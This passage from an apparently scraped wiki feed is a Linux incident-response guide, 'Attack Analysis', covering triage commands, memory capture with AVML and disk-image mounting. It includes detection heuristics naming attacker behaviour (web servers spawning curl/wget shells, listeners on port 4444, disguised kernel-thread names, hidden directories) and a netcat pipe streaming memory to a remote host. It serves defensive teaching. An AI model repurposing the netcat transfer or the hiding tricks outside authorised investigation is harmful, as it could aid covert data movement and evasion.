| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=260</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=260"/>
		<updated>2026-10-02T23:29:45Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: FlyingShrimps moved page User:FlyingShrimps/sandbox to Draft:Attack Analysis without leaving a redirect&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
